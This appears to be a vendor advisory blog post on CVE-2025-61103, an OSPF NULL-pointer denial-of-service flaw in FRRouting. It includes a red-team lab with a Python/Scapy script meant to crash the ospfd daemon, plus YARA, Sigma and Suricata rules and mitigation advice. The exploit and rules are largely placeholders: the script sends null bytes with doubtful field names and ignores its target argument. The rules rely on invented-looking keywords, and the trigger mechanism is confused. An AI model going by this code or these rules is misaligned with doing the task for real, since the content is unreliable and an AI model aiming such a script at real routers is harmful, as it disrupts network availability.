CVE-2025-61103

Executive Summary

CVE-2025-61103 is a critical Denial of Service (DoS) vulnerability in FRRouting (FRR), an open-source routing protocol suite. The flaw resides in the show_vty_ext_link_lan_adj_sid function within ospf_ext.c. By sending a specially crafted OSPF packet, an unauthenticated, remote attacker can trigger a NULL pointer dereference, causing the FRR daemon to crash. This results in a complete loss of routing services, impacting network availability. The vulnerability affects FRR versions from v4.0 through v10.4.1. No public exploit code or patch is currently available, making this a high-priority zero-day for network defenders.

Supply Chain & Package Security

FRRouting is a critical component in many network infrastructure deployments, often distributed via package managers (e.g., apt, yum) or compiled from source. The lack of a patch means that all downstream consumers of FRR are vulnerable. Organizations should immediately inventory their use of FRR and prepare for an emergency patching cycle once a fix is released. The vulnerability is introduced in the source code, so any binary or container image built from the affected versions is also vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; a single crafted packet is sufficient.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The service is completely disrupted.

Threat Level: High. The low attack complexity and network-based vector make this a prime target for automated scanning and exploitation. The lack of a patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF (Open Shortest Path First) protocol implementation. The show_vty_ext_link_lan_adj_sid function is part of the VTY (Virtual Teletype) interface used for debugging and monitoring OSPF extensions. When processing a crafted OSPF packet, the function attempts to access a pointer that has not been properly initialized or has been set to NULL.

Root Cause: The function fails to validate the return value of a memory allocation or a pointer lookup before dereferencing it. Specifically, when parsing the OSPF packet's extended link-local LAN adjacency SID (Segment Identifier) sub-TLV, the code assumes a valid pointer exists. An attacker can craft a packet that omits or corrupts this sub-TLV, causing the pointer to remain NULL.

Trigger Mechanism:

1. An attacker sends a crafted OSPF packet to a vulnerable FRR router.
2. The router's OSPF process receives and parses the packet.
3. The parsing logic reaches the show_vty_ext_link_lan_adj_sid function.
4. The function attempts to dereference a NULL pointer.
5. The operating system sends a SIGSEGV signal to the FRR process, causing it to crash.
6. The router loses all OSPF adjacencies and routing information, leading to a network outage.

Vulnerable vs. Patched Code

The vulnerable code is in ospf_ext.c. The exact fix is unknown, but it would involve adding a NULL check before the pointer dereference.

Vulnerable Code (Conceptual):

void show_vty_ext_link_lan_adj_sid(struct ospf_interface *oi, struct ospf_lsa *lsa) {
    struct ospf_ext_link_lan_adj_sid *adj_sid;
    // ... parsing logic ...
    adj_sid = get_adj_sid_from_lsa(lsa); // May return NULL
    // VULNERABLE: No NULL check
    vty_out(vty, "Adjacency SID: %u", adj_sid->value);
}

Patched Code (Conceptual):

void show_vty_ext_link_lan_adj_sid(struct ospf_interface *oi, struct ospf_lsa *lsa) {
    struct ospf_ext_link_lan_adj_sid *adj_sid;
    // ... parsing logic ...
    adj_sid = get_adj_sid_from_lsa(lsa);
    if (adj_sid == NULL) {
        vty_out(vty, "%% Adjacency SID not found");
        return;
    }
    vty_out(vty, "Adjacency SID: %u", adj_sid->value);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Two virtual machines (VMs) on an isolated network.
   • Attacker VM: Kali Linux with scapy and python3.
   • Victim VM: Ubuntu 22.04 with FRR v10.4.1 installed and OSPF configured.
2. Victim Configuration: Enable OSPF on an interface and ensure the show commands are accessible via VTY.

Exploit Script (Python with Scapy):

#!/usr/bin/env python3
from scapy.all import *
import sys

def craft_malformed_ospf():
    # Craft a malformed OSPF packet that triggers the NULL dereference
    # This is a conceptual example; actual packet structure may vary.
    ip = IP(src="192.168.1.100", dst="192.168.1.1")
    ospf = OSPF(type=5, ls_type=0x4000)  # Type 5 = LS Update, custom LS type
    # Add a malformed extended link-local LAN adjacency SID sub-TLV
    # The sub-TLV is intentionally missing or corrupted
    payload = Raw(b"\x00" * 10)  # Placeholder for malformed data
    packet = ip / ospf / payload
    return packet

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
    packet = craft_malformed_ospf()
    send(packet, iface="eth0")
    print(f"Sent malformed OSPF packet to {target}")

Execution:

python3 exploit.py 192.168.1.1

Expected Outcome: The FRR daemon (ospfd) crashes, and the victim router loses OSPF adjacencies.

Blue Team (Defensive)

Detection:

1. Monitor OSPF packets: Look for malformed or unexpected OSPF packet types, especially LS Update packets with unusual LS types or sub-TLVs.
2. System Logs: Check /var/log/syslog or /var/log/messages for ospfd crash logs (e.g., SIGSEGV, core dumped).
3. Process Monitoring: Use systemctl or monit to detect when ospfd stops unexpectedly.

Mitigation:

1. Immediate: If possible, disable the VTY show command for extended link-local LAN adjacency SID until a patch is available.
2. Network Segmentation: Restrict OSPF traffic to trusted network segments only.
3. Rate Limiting: Implement rate limiting on OSPF packets to reduce the impact of a DoS attack.
4. Patch: Apply the vendor patch as soon as it is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • OSPF packets with malformed or missing extended link-local LAN adjacency SID sub-TLVs.
  • Sudden loss of OSPF adjacencies from a router.
  • Unusual OSPF packet types (e.g., LS Update with custom LS types).
• System IOCs:
  • Core dump files for ospfd in /var/core/ or /tmp/.
  • Log entries containing SIGSEGV or segfault for the ospfd process.
  • ospfd process unexpectedly stopping (check with systemctl status ospfd).
• File IOCs:
  • Modified or corrupted OSPF configuration files (unlikely but possible if the crash causes file corruption).

Detection Engineering

YARA Rule

rule CVE_2025_61103_OSPF_NULL_PTR {
    meta:
        description = "Detects malformed OSPF packets targeting CVE-2025-61103"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61103"
    strings:
        $ospf_header = { 02 ?? ?? ?? }  // OSPF version 2
        $ls_update = { 05 }              // OSPF LS Update type
        $malformed_tlv = { 00 00 00 00 } // Placeholder for malformed sub-TLV
    condition:
        $ospf_header at 0 and $ls_update and $malformed_tlv
}

Sigma Rule

title: CVE-2025-61103 OSPF DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-61103 via malformed OSPF packets
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: 'OSPF'
        ospf.type: 5  # LS Update
        ospf.ls_type: 0x4000  # Custom LS type (example)
    condition: selection
falsepositives:
    - Legitimate OSPF extensions with custom LS types (rare)
level: high

Suricata Rule

alert ospf any any -> any any (msg:"CVE-2025-61103 OSPF DoS Attempt"; ospf_type:5; ospf_ls_type:0x4000; sid:2025061103; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable VTY Commands: If possible, restrict access to the VTY interface or disable the specific show command that triggers the vulnerability.
   • Network Filtering: Use ACLs to allow OSPF traffic only from trusted IP addresses.
   • Monitor: Implement the detection rules above to identify potential exploitation attempts.

2. Short-Term Mitigation:

   • Upgrade/Downgrade: If a patched version is not available, consider downgrading to FRR v3.x (if supported) or upgrading to a version that includes a fix once released.
   • Compile from Source: Apply the conceptual patch (NULL check) to the source code and recompile FRR.

3. Long-Term Remediation:

   • Patch: Apply the official patch from FRRouting as soon as it is released.
   • Vendor Communication: Monitor the FRRouting GitHub repository and mailing lists for updates.
   • Security Hardening: Implement regular security audits of network devices and software.

Valters IT
Securing Networks, One Packet at a Time.